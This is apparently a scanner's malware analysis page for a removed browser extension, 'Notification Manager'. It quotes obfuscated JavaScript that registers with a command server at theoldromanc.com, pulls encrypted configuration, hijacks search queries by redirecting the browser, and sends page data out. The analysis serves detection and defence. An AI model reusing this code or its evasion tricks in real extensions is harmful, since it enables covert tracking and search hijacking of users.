Notification Manager

ID: obeolenehnecfenafkhhfdalgcngbopb

Could be malicious

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Removed
Version
1
Size
0.02 MB
Rating
5.0/5
Reviews
1
Users
4,520
Type
Extension
Updated
Jan 12, 2023
Category
22_accessibility
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
zoesimons.extView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
1
Unlisted
0
Total Users
4,520

Allows you to create custom notifications for yourself,you can add a text message and set a timer,it will be displayed on time.

The Notification Manager is a browser extension that allows you to set reminders and receive notifications at a later time. With this extension, you can input a custom message and set a timer for when they would like to be reminded. Once the timer ends, the extension will present the notification to the user. This can be a useful tool for managing tasks and staying organized throughout the day!

Item
Type
Severity
Description
*://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.

On install, the extension beacons to `https://theoldromanc.com/install?ext=Notification Manager&ver=1`, saves the server's response as a token (`dd`) in localStorage, and uses that token to set a custom uninstall tracking URL at the same domain. This is covert C2 registration — the server assigns a unique tracking ID to each installation, which is later used as an encryption key and exfiltration credential.

background.js (Line 506)
async function analytics(i) {  var E0 = "/";  var K;  if (i === k0IIr.Z) {    K = k0IIr.j + _ExtDomNoSchema + E0 + i + k0IIr.o0 + _ExtnensionName + k0IIr.W5 + _ExtensionVersion;    fetch(K)      .then(r => r.text())      .then(k => {        var q8 = "/uninstall?ext=";        saveObjectInLocalStorage({          'dd': k        });        chrome.runtime.setUninstallURL(k0IIr.j + _ExtDomNoSchema + q8 + _ExtnensionName + k0IIr.W5 +          _ExtensionVersion + k0IIr.O_ + k);      })      .catch(t => {});  }}

The `save` function sends a heartbeat to `https://theoldromanc.com/hb?ext=...&dd=<token>&go=1`, receives an encrypted payload from the C2 server, and stores it under the `dt` localStorage key. This is the mechanism by which the C2 pushes updated encrypted configuration (search engine targeting rules, function name tables) to the extension. The response is also cached with an 11,000-second TTL.

background.js (Line 633)
save = async function(U) {  var P4 = "/hb";  var q$ = "&go=1";  var w5 = 'dd';  var T, h;  T = await getObjectFromLocalStorage(w5);  if (T) {    h = k0IIr.j + _ExtDomNoSchema + P4 + k0IIr.o0 + _ExtnensionName + k0IIr.W5 + _ExtensionVersion + k0IIr.O_ + T +      q$;    fetch(h)      .then(c => c.text())      .then(s => {        var i8 = "11000";        var K7 = 'dt';        getWithExpiry(K7);        setWithExpirySec(K7, s, +i8);        if (s === U) {          save(s);        }      })      .catch(P => {});  }};

The `ru()` content script function, called on every page load, decrypts the C2-supplied configuration using AES-CBC with the install token as key material, extracts the user's search query from the current URL using search-engine targeting rules embedded in the decrypted payload, constructs `https://theoldromanc.com/search?ext=...&dd=<token>&ver=1&is=0&q=<search_query>`, and silently redirects the browser there via obfuscated `window.location.href` assignment. This is active search query hijacking and user tracking across all visited pages.

content.js (Line 483)
X = document.body.classList;chrome.runtime.sendMessage({  wk: c9,  bod: X}, function(O1) {});K = await getObjectFromLocalStorage(d_);a = await getObjectFromLocalStorage(h9);if (!a) {  return;}q = K;while (q.length < (M$ ^ g3l2X.c3)) {  q += K;}q = q.slice(+g3l2X.k_, +M$);T = encoder.encode(q);N = JSON.parse(a);w = await AES_CBC_decrypt(T, N.value);t = os(w);if (t && t.length > g3l2X.L1 - g3l2X.c3) {  j = await getWithExpiry(Z7);  P = g3l2X.E0;  S = new URLSearchParams(window[w.fn[+g3l2X.k_]][w.fn[+g3l2X.L1]]);  if (S.has(H$)) {    P = S.get(H$);  }  if (P) {    await setWithExpirySec(Z7, t, +w4);  } else {    if (t !== j) {      await setWithExpirySec(Z7, t, w4 | E5);      R4 = j0 + _ExtDomNoSchema + w5 + F9 + _ExtnensionName + m6 + K + X8 + _ExtensionVersion + Z9 + +g3l2X.k_ +        u_ + t;      window[w.fn[g3l2X.k_ | g3l2X.c3]][w.fn[g3l2X.L1 >> g3l2X.o8]] = R4;    }  }}

The extension uses AES-CBC decryption (via `crypto.subtle`) to decrypt a payload received from the C2 server at `theoldromanc.com`. The decrypted JSON object contains function name tables (`fn`) and search engine targeting selectors (`g`, `y`, `b`) that control the search hijacking behavior. This is a remote code configuration pattern — the C2 can update the targeting rules without changing the extension itself, allowing the attack to evolve without detection.

content.js (Line 443)
function AES_CBC_decrypt(A, V) {  return new Promise(l => {    var L7 = "decrypt";    var Y1 = "aes-cbc";    var c_ = "raw";    var Z;    Z = undefined;    crypto.subtle.importKey(c_, A, Y1, g3l2X.E0, [L7])      .then(function(v) {        return crypto.subtle.decrypt({          name: Y1,          iv: iv        }, v, hexStringToUint8Array(V));      }, {})      .then(function(d) {        Z = decoderAscii.decode(d);        l(JSON.parse(Z));      }, {});  });}

The background script listens for messages from the content script with key `wk: "val"` and accepts a `bod` property containing the current page's `document.body.classList`. It passes this directly to `save()`, which transmits it to `theoldromanc.com/hb`. This constitutes unauthorized collection and exfiltration of browsing context data from every page the user visits.

background.js (Line 450)
chrome.runtime.onMessage.addListener(async function(y, X, x) {  var O = "10740";  var W = "val";  var q = 'bod';  var w;  if (y.wk === W) {    w = await getWithExpiry(q);    if (w === k0IIr.Q) {      save(y.bod);      setWithExpirySec(q, y.bod, +O);    }  }});

The `os()` function inspects `window.location.href` (accessed via obfuscated property path from the decrypted `fn` table) and matches the hostname against three sets of search engine patterns (`Q.g`, `Q.y`, `Q.b`) supplied by the C2. It extracts the search query parameter from recognized search engine URLs. All property accesses and comparisons are deliberately obfuscated with bitwise arithmetic on `g3l2X` constants to evade static analysis.

content.js (Line 570)
function os(Q) {  var s1 = "";  var W1 = ".";  var j2 = "=";  var I, o;  I = s1;  o = new URL(window[Q.fn[g3l2X.k_ | g3l2X.c3]][Q.fn[g3l2X.L1 >> f7]]);  if (o.hostname.split(W1)[g3l2X.L1 ^ g3l2X.c3] === Q.g[g3l2X.k_ ^ g3l2X.c3] && o.search.indexOf(Q.g[+g3l2X.L1]) >= +    g3l2X.k_) {    I = o.searchParams.get(Q.g[g3l2X.L1 - g3l2X.c3].split(j2)[g3l2X.k_ << g3l2X.c3]);  } else if (o.hostname.split(W1)[+g3l2X.L1] === Q.y[g3l2X.k_ - g3l2X.c3] && o.search.indexOf(Q.y[g3l2X.L1 * g3l2X      .S2]) >= g3l2X.k_ * g3l2X.S2) {    I = o.searchParams.get(Q.y[g3l2X.L1 | g3l2X.S2].split(+P5 === f9 - g3l2X.c3 ? Q2 - g3l2X.c3 == J0 >> f7 ? (+X3, q$ -      g3l2X.c3) : (V5 * g3l2X.S2, a6) : j2)[+g3l2X.k_]);  } else if (o.hostname.split(W1)[+g3l2X.L1] === Q.b[g3l2X.k_ * g3l2X.S2] && o.search.indexOf(Q.b[+g3l2X.L1]) >= +g3l2X    .k_) {    I = o.searchParams.get(Q.b[g3l2X.L1 * g3l2X.S2].split(j2)[+g3l2X.k_]);  }  return I;}

Meaningful string constants (the C2 domain `theoldromanc.com`, URL fragments, the extension name, and version) are stored as properties on the `k0IIr` function object and interleaved with dozens of never-executing IIFEs (all guarded by `Math.random() > 1`, impossible loops like `while (i < 10)` after `i=20`, or `while (x > 5)` after `x=0`). This dead-code padding technique is specifically designed to bury the real logic in noise and defeat automated pattern matching. The identical technique is repeated in `content.js` using `g3l2X`.

background.js (Line 1)
k0IIr.o0 = "?ext=";(function() {  let x = ''  if (Math.random() > 1) {    // ... dead code block ...  }})();k0IIr.u = "9860";// [repeated pattern of string assignment + dead IIFE ...]k0IIr.O_ = "&dd=";k0IIr.o = "883";k0IIr.Z = "install";k0IIr.e = "theoldromanc.com";k0IIr.p = "0x23eb";k0IIr.j = "https://";k0IIr.f = "5585";k0IIr.b = "Notification Manager";k0IIr.Q = null;k0IIr.m = "1";k0IIr.l = "438.94";k0IIr.W5 = "&ver=";function k0IIr() {}

By severity

Critical4
High3
Medium0
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
17

Files with findings

2 distinct paths — top paths by unique finding count:

  • background.js4
  • content.js3
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
background.js (line 633)The `save` function sends a heartbeat to `https://theoldromanc.com/hb?ext=...&dd=<token>&go=1`, receives an encrypted payload from the C2 server, and stores it under the `dt` localStorage key. This is the mechanism by…
2Data Exfiltration
critical
content.js (line 483)The `ru()` content script function, called on every page load, decrypts the C2-supplied configuration using AES-CBC with the install token as key material, extracts the user's search query from the current URL using s…
3Remote Code Loading
critical
content.js (line 443)The extension uses AES-CBC decryption (via `crypto.subtle`) to decrypt a payload received from the C2 server at `theoldromanc.com`. The decrypted JSON object contains function name tables (`fn`) and search engine targ…
4Tracking
critical
background.js (line 506)On install, the extension beacons to `https://theoldromanc.com/install?ext=Notification Manager&ver=1`, saves the server's response as a token (`dd`) in localStorage, and uses that token to set a custom uninstall trac…
5Obfuscation
high
content.js (line 570)The `os()` function inspects `window.location.href` (accessed via obfuscated property path from the decrypted `fn` table) and matches the hostname against three sets of search engine patterns (`Q.g`, `Q.y`, `Q.b`) sup…
6Obfuscation
high
background.js (line 1)Meaningful string constants (the C2 domain `theoldromanc.com`, URL fragments, the extension name, and version) are stored as properties on the `k0IIr` function object and interleaved with dozens of never-executing IIF…
7Unauthorized Data Collection
high
background.js (line 450)The background script listens for messages from the content script with key `wk: "val"` and accepts a `bod` property containing the current page's `document.body.classList`. It passes this directly to `save()`, which …
URLs
4
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
*/*http://*/*
*/*https://*/*
fonts.googleapis.com/css2https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
1
Latest
0.02 MB
Malicious
7
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.